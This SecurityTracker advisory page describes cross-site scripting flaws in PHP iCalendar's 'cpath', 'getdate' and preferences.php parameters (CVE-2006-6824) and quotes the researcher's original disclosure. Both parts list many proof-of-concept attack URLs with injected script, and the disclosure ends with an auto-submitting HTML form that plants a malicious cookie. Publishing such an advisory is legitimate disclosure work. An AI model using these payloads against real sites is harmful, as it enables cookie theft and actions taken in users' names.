SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Your Ad Here
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Calendar)  >  PHP iCalendar Vendors:  phpicalendar.net
PHP iCalendar Input Validation Holes in 'cpath' and 'getdate' Parameters Permit Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1017449
SecurityTracker URL:  http://securitytracker.com/id?1017449
CVE Reference:  CVE-2006-6824   (Links to External Site)
Updated:  May 20 2008
Original Entry Date:  Dec 27 2006
Impact:  Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 2.23 rc1, 2.22, 2.0 Beta, 1.1, possibly other versions
Description:  Lostmon reported a vulnerability in PHP iCalendar. A remote user can conduct cross-site scripting attacks.

Several scripts do not properly filter HTML code from user-supplied input in the 'cpath' and 'getdate' parameters before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the PHP iCalendar software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

http://[target]/phpicalendar/day.php?cal=all_calendars_co mbined971
&getdate=20061225"><script>alert()</script>

http://[target]/phpicalendar/month.php?cal=all_calendars_combined971
&getdate=20061225"><script>alert()</script >

http://[target]/phpicalendar/year.php?cal=all_calendars_combined971
&getdate=20061225"><script>alert()</script>

http://[target]/phpicalendar/week.php?cal=all_cal endars_combined971
&getdate=20061225"><script>alert()</script>

http://[target]/phpicalendar/day.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script% 3E
&getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work

http://[target]/phpicalendar/month.php?cpath=%22%3E%3Cscript%3Edocument.write(document.doma in)%3C/script%3E
&getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work

http://[target]/phpicalendar/year.php?cpath=%22%3E%3Cscript%3Edocument.write( document.domain)%3C/script%3E
&getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work

http://[target]/phpicalendar/week.php?cpath=%22%3E%3Cscript%3Edo cument.write(document.domain)%3C/script%3E
&getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work

http://[target]/phpicalendar/search.php?cpath=&cal= Home%2CUS%2BHolidays%2CWork
&getdate=19700102&query=ss"><script>alert()</script>&submit.x=11&submit.y=15

http://[target]/phpicalendar/search.php?cpath="><script>alert ()</script>&cal=Home
%2CUS%2BHolidays%2CWork&getdate=19700102&query=ss&submit.x=11&submit.y=12

http://[target]/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays %2CWork
&getdate=19700102"><script>alert()</script>&query=ss&submit.x=11&submit.y=12

http://[target]/phpicalendar/rss/index.php?cal=Home,US+Holidays,Work
&getdate=20 061225"><script>alert()</script>

http://[target]/phpicalendar/print.php?cal=Home,US+Holidays,Work
&getdate=20061225%22%3E%3Cscript%3Ealert()%3C/script%3E&printview=da y

Several parameters in the 'preferences.php' script are also affected.

The vendor was notified on December 25, 2006.

The original advisory is available at:

http://lostmon.blogspot.com/2006/12/php-icalendar-multiple-variable-cross.html

Impact:  A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the PHP iCalendar software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:  No solution was available at the time of this entry.
Vendor URL:  www.phpicalendar.net/ (Links to External Site)
Cause:  Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  Lostmon <lostmon@gmail.com>
Message History:   None.


 Source Message Contents

Date:  Wed, 27 Dec 2006 22:37:00 +0100
From:  Lostmon <lostmon@gmail.com>
Subject:  PHP icalendar multiple variable cross site scripting

 
#####################################################
PHP icalendar multiple variable cross site scripting
Vendor url:http://phpicalendar.net/
Advisore:http://lostmon.blogspot.com/2006/12/
php-icalendar-multiple-variable-cross.html
Vendor notify: YES Exploit included:YES
#####################################################
 
 
PHP icalendar contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does
not validate multiple params upon submission to multiple scripts.
This could allow a user to create a specially crafted URL that
would execute arbitrary code in a user's browser within the
trust relationship between the browser and the server, leading
to a loss of integrity.
 
######################
versions
######################
 
all of this versions have been tested
Posible other versions are prone vulnerables.
 
PHP iCalendar 2.23 rc1
PHP iCalendar 2.22
PHP icalendar 2.0 Beta
PHP iCalendar 1.1
 
######################
Solution:
######################
 
No solution was available at this time!!
 
##################
Time Line
##################
 
Discovered:20-12-2006
Vendor notify:25-12-2006
Vendor response:
Disclosure:27-12-2006
 
###################
EXAMPLES & PoC
###################
 
http://localhost/phpicalendar/day.php?cal=all_calendars_combined971
&getdate=20061225"><script>alert()</script>
 
http://localhost/phpicalendar/month.php?cal=all_calendars_combined971
&getdate=20061225"><script>alert()</script>
 
http://localhost/phpicalendar/year.php?cal=all_calendars_combined971
&getdate=20061225"><script>alert()</script>
 
http://localhost/phpicalendar/week.php?cal=all_calendars_combined971
&getdate=20061225"><script>alert()</script>
 
http://localhost/phpicalendar/day.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/scri
pt%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://localhost/phpicalendar/month.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/sc
ript%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://localhost/phpicalendar/year.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/scr
ipt%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://localhost/phpicalendar/week.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/scr
ipt%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work ---- http://localhost/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102&query=ss"><script>alert()</script>&submit.x=11&
submit.y=15 http://localhost/phpicalendar/search.php?cpath="><script>alert()</script>&cal
=Home %2CUS%2BHolidays%2CWork&getdate=19700102&query=ss&submit.x=11&submit.y=12 http://localhost/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102"><script>alert()</script>&query=ss&submit.x=11&
submit.y=12 ---- http://localhost/phpicalendar/rss/index.php?cal=Home,US+Holidays,Work &getdate=20061225"><script>alert()</script> http://localhost/phpicalendar/print.php?cal=Home,US+Holidays,Work &getdate=20061225%22%3E%3Cscript%3Ealert()%3C/script%3E&printview=day ################################ Proof of concept for preferences ################################ Multiple param XSS in preferences.php Use the proof and modify some params create a evil cookie before submit :) http://localhost/phpicalendar/preferences.php?cal=Home,US+Holidays,Work &getdate=20061227%22%3E%3Cscript%3Ealert()%3C/script%3E <html> <head></head> <body> <title>PHP icalendar XSS in preferences.php PoC</title> <p><a href="http://phpicalendar.net/" target="_BLANK">PHP icalendar</a> <= 2.23 rc1 preferences.php XSS Proof Of concept By <a href="http://Lostmon.blogspot.com" target="_BLANK">Lostmon</a></p>
<p>Modify the target host , by default http://localhost/</P> <br /><br /><form method='post' action='http://localhost/phpicalendar/preferences.php?action=setcookie'> cookie_language: <input input='text' value='Spanish' name='cookie_language' style='width: 80%' /><br> cookie_calendar: <input input='text' value='all_calendars_combined971' name='cookie_calendar' style='width: 80%' /><br> cpath: <input input='text' value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;' name='cpath' style='width: 80%' /><br> cookie_view: <input input='text' value='day' name='cookie_view' style='width: 80%' /><br> cookie_time: <input input='text' value='0700' name='cookie_time' style='width: 80%' /><br> cookie_startday: <input input='text' value='Sunday' name='cookie_startday' style='width: 80%' /><br> cookie_style: <input input='text' value='default' name='cookie_style' style='width: 80%' /><br> unset: <input input='text' value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;' name='unset' style='width: 80%' /><br> set: <input input='text' value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;' name='set' style='width: 80%' /><br> <input type='submit' value='submit' /><br> </form><hr /> <textarea style='width: 80%; height: 50%;'> <form method='post' action='http://localhost/phpicalendar/preferences.php?action=setcookie'> cookie_language: <input input='text' value='Spanish' name='cookie_language' style='width: 80%' /><br> cookie_calendar: <input input='text' value='all_calendars_combined971' name='cookie_calendar' style='width: 80%' /><br> cpath: <input input='text' value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;' name='cpath' style='width: 80%' /><br> cookie_view: <input input='text' value='day' name='cookie_view' style='width: 80%' /><br> cookie_time: <input input='text' value='0700' name='cookie_time' style='width: 80%' /><br> cookie_startday: <input input='text' value='Sunday' name='cookie_startday' style='width: 80%' /><br> cookie_style: <input input='text' value='default' name='cookie_style' style='width: 80%' /><br> unset: <input input='text' value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;' name='unset' style='width: 80%' /><br> set: <input input='text' value='&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;' name='set' style='width: 80%' /><br> <input type='submit' value='submit' /><br> </form> &lt;script&gt; document.forms[0].submit() &lt;/script&gt; </textarea> </body> </html> ######################## €nd ##################### Thnx to Estrella to be my ligth. -- atentamente: Lostmon (lostmon@gmail.com) Web-Blog: http://lostmon.blogspot.com/ -- La curiosidad es lo que hace mover la mente....


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2007, SecurityGlobal.net LLC